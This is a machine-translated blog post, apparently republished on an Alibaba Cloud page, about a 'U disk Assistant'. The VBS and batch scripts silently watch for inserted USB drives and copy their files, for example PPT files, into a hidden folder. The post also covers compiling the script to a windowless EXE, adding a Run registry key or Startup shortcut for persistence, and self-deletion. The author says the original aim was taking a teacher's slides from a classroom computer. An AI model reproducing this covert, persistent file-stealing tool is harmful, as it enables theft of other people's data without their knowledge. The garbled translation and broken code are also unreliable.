Background silently detect u disk and copy u disk designated files to the computer designated directory (U disk Assistant) __ Silent copy u disk File

Source: Internet
Author: User
Tags goto

The final exam immediately, the teacher review class said PPT is a concise version of the teacher said the class before the PPT can give but this can not, if the end of the term will pass. Ben wanted to put me to spend 3 hours to do the U disk Assistant in the classroom computer running, Class I can get ppt, but I am so just awe-inspiring, and information security Professional I have excellent professional quality. I still gave up doing bad things. I hope everyone is the same. Of course, the U-Disk helper can also make you more convenient, such as you need to put a certain type of U disk files are often copied to the computer, their manual copy is not very troublesome. or often manually backup U disk data is troublesome, with it you will be more convenient.

Packaged code and procedures

This is on the Internet to find the VBS language, have some English ability and VB ability must not ugly understand, I did not learn, roughly still can understand, but the code looked too long, and need to set their own disk letter, copy file type, directory, appear to have some trouble.

Set Fso=createobject ("Scripting.FileSystemObject") 

set Ws=createobject ("Wscript.Shell") 

Dim USB, File, folder, files 

usb=inputbox ("Please input U disk's letter" &CHR & "such as Insert the U disk for f disk, then input F", "Insert the U disk letter", "F") 

Folder=inputbox (" Please enter the copied folder "&CHR &" If you want to copy to D, enter D:\, "Enter the folder you copied to," "C:\USB" 
files=inputbox ("Enter the file type to be copied" &CHR ( & "If you want to copy an Excel file, enter XLS; default to all Types", "Enter the type of file to copy", "All") 

Usb=usb & ": \" 

Folder=folder & "\" 

if files= "All" then 

FILE=USB & "*" 

else 

file=usb & "*." & Files, 

if 

if FSO. FolderExists (folder) then 

else 
FSO. CreateFolder (folder) end 

If in 

Error Resume Next 
do 
wscript.sleep 1000 

If fso.driveexists ( USB) then 
fso.copyfile file,folder 
fso.copyfolder file,folder wscript.sleep end 

if 

Loop
The following is a detailed explanation of my own write bat implementation

1, create a folder to save the copied files:

MD C:\Upan (I was created here in the C-packing directory)
As for this sentence:
Setlocal enabledelayedexpansion
The explanation is too complex, there is a blog that this can be searched by themselves, this sentence is almost bat under the For loop must statement

2, and then set the removable disk to be detected (my removable disk is D):

3, and then use the cycle has been detected until the U disk is detected in the implementation of the command:

For%%a in (!driver!) do (
:: Here is the command to execute the loop
)

For loop usage: For percent variable in (set) do command, variable: (remember that the% before a variable should be% to% if you use the for command in a batch) the variable name is composed of a single letter and is case-sensitive (as the original help says, The actual use of a single number as a variable name test proved also feasible), such as%b and%b represent different variables. Set: A collection of series files, strings, or content that is produced by a command (the wildcard character * is of course available.) , and can also refer to environment variables), the for command reads the contents of the set in a certain order and regularity, assigns it to the variable, executes the Do command, loops the next round until the contents of the set are read, and the parentheses are in the form (with spaces between the parentheses). Order everyone to know.

4, if you detect a U disk, then execute the copy command, copy the U disk all the PPT to the folder we created to save the copied files (C:\Upan):

If exist%%a: (
xcopy/c/e/q/k/y d:\*.ppt
exit
)
/C There are errors also replicated,/e copy directories and subdirectories, including empty directories,/h also copy hidden and system files,/q copy does not display the file name,/k replication properties,/y Cancellation prompts to confirm that you want to overwrite

5, use the Jump statement goto, if you do not detect a U disk letter to jump to the for loop to continue to perform the test disk

:: Detect u disk inserted, insert the copy u disk all files to the specified disk
@echo off
md C:\Upan
setlocal enabledelayedexpansion
:: The following set up to detect the drive letter,
set "Driver=d" separated by spaces or commas
: Start for
%%a in (!driver!) do (
if exist%%a: (
xcopy/c/e/q/k/y d:\*.pp T C:\Upan
exit
)
Goto:start
Such a bat run is a little less than enough, like this always has a black box is very ugly


Download Bat-EXE software such as quick Batch File Compiler, open the software, select "Open" to open the written bat


Then locate the "options" to set the Phantom application, then click Build, then set the EXE filename and generate an EXE file


, there is no display for running the EXE at this time, but you can see in the list of processes that you have already run


If you want the program to run automatically, you can do so by using either VBS or BAT, or by adding the boot-only bat command to the file above.

1. VBS SCRIPT IMPLEMENTATION

Set ws = CreateObject ("Wscript.Shell")
Change the For.bat to the bat or EXE file you want to boot from

2, Bat command Independent implementation

1) Modify the registration form

Copy%0 C:\for.exe, copy For.exe to C:\

The following sentence is to modify the registry key value, so that the C:\for.exe boot from

The last sentence is to delete the For.exe source file

Copy the following code to a new text document, just change the for.exe to your bat filename or exe file name, then save, change the document name to Xxx.bat run it.

@echo off
copy%0 C:\for.exe
REG ADD hkey_local_machine\software\microsoft\windows\currentversion\run/v for.exe/t reg_sz/d c:\for.exe/f
del%0
2 Create a shortcut in the System boot menu

Copy the following code to the new text document and save it as Xxx.bat run on it

@echo off
Copy%0 "%userprofile%\" Start "menu \ program \ Boot
del%0
3, add the code of 1 to the second sentence of the front bat file (MD C:\Upan), Note: The For.exe in 1 refers to the last file name to be converted to EXE file. If you want to convert the bat to the exe file name is U disk Helper. exe, then the 1 of all for.exe into U disk helper. exe can, or you can change the generated EXE file to For.exe can also


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.